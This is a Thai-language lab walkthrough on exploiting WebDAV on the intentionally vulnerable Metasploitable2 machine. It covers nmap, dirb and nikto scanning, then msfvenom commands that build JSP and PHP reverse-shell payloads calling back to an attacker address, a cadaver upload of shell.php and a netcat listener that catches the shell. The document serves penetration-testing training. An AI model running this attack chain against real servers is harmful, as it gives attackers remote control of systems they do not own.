How to exploit WebDav – Metasploitable2

บทนำ (Overview)

WebDav (Web Distributed Authoring and Versioning) เป็น “Protocol” ที่ช่วยให้ผู้ใช้งานสามารถสร้าง เปลี่ยนแปลง หรือย้ายเอกสารบน “Server” ได้ผ่าน “Web server” จากความสามารถกล่าวจึงทำให้ผู้ไม่ประสงค์ดีสามารถอัพโหลด “payload” เพื่อสร้าง “connection” กลับมายังผู้โจมตีเพื่อควบคุมเครื่องระยะไกล

ขั้นตอน (Steps)

  1. ค้นหา “Port” ที่เปิดบริการโดยใช้คำสั่งดังนี้
    nmap -p 1-65535 -T4 -A -v 192.168.1.36
    
  2. ตรวจสอบ “Port”  และ “Version” ของ “TOMCAT” แต่ปกติอาจจะเป็น Port อื่น ๆ เช่น 80, 8080 หรือ 8180
    8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
    |_http-favicon: Apache Tomcat
    | http-methods: 
    |_  Supported Methods: GET HEAD POST OPTIONS
    |_http-server-header: Apache-Coyote/1.1
    |_http-title: Apache Tomcat/5.5
    
  3. ทดลองใช้ “Dir-buster” เพื่อตรวจสอบ “Path” อื่น ๆ เพื่มเติม
    #เราใช้ option -r โดยไม่ต้องหา sub directory
    dirb http://192.168.1.36:8180 /usr/share/wordlists/dirb/big.txt -r
    
  4. ทดลองใช้ “Nikto” เพิ่มเติมโดยใช้คำสั่ง
    nikto -h https://192.168.1.36:8180
    
  5. จากผลการ “scan” เราพบว่ามีการเปิดให้บริการ “Webdav”  metasploitable-webdav-02metasploitable-webdav-01
  6. เราสามารถเชื่อมต่อกับ “Webdav” โดยใช้คำสั่งดังต่อไปนี้
    cadaver http://192.168.1.36:8180/webdav
    
  7. เราสามารถตรวจสอบคำสั่งที่สามารถใช้งานผ่าน “Webdav” ดังนี้
    #ตัวสอบคำสั่งที่ใช้ได้
    ?
    
    #ตรวจสอบไดเรกทอรีปัจจุบัน
    pwd
    

    metasploitable-webdav-03

  8. ทดสอบเข้าถึงผ่าน “web browser” metasploitable-webdav-04
  9. ให้สร้าง “payload” สำหรับ “reverse shell” ที่นี้มีข้อสังเกตุว่าเราจะสร้าง “payload” ที่สามารถ “execute” ได้นั้นจะต้องสอดคล้องกับ “OS” และ “web server” จาก จากหน้าเว็บเราสังเกตุเห็นว่า
    1. อนุญาตให้ “upload war file”
    2. ส่วน “OS” เป็น “Linux”
    3. ภาษาที่ใช้ เช่น JSP
      cd /root/Desktop
      msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.57 LPORT=443 -f raw > shell.jsp
      

      metasploitable-webdav-05

  10. ทดลองอัพโหลด “shell” ที่สร้างมาแต่ผลลัพธ์กลับไม่สามารถ “upload” ได้เนื่องจากติด “permission” ดังนี้ metasploitable-webdav-06
  11. ที่นี้เราลองทำซ้ำใน port อื่น ที่เป็นไปได้จะเปิด “Webdav” อย่าง “port” หมายเลข “80”
    80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
    | http-methods: 
    |_  Supported Methods: GET HEAD POST OPTIONS
    |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
    |_http-title: Metasploitable2 - Linux
    
    
  12. เราสามารถค้นพบไดเรกทอรีของ “Webdav” คือ http://192.168.1.36/dav/
  13. จากการตรวจสอบพบว่า “Web server” ประมวลผลไฟล์ “PHP” จึงสร้าง “payload” โดยใช้คำสั่ง
    msfvenom -p php/reverse_php LHOST=192.168.1.57 LPORT=443 -e php/base64 -f raw > shell.php
    

    metasploitable-webdav-07

  14. เมื่อสร้างไฟล์เสร็จ ให้เปิดไฟล์ขึ้นมา  (shell.php) จากนั้นให้ใส่ syntax คั่นดังนี้
    <?php ?>
    

    dvwa-upload-l-12

  15. อัพโลหดไฟล์ที่แก้ไขแล้ว
    cadaver http://192.168.1.36/dav
    put shell.php
    
  16. สุดท้ายเราตั้ง “listener” แล้วคลิกไฟล์ที่ “upload” เข้าไปจะได้ “reverse shell”
    nc -nlvp 443
    

    metasploitable-webdav-09

 

ใส่ความเห็น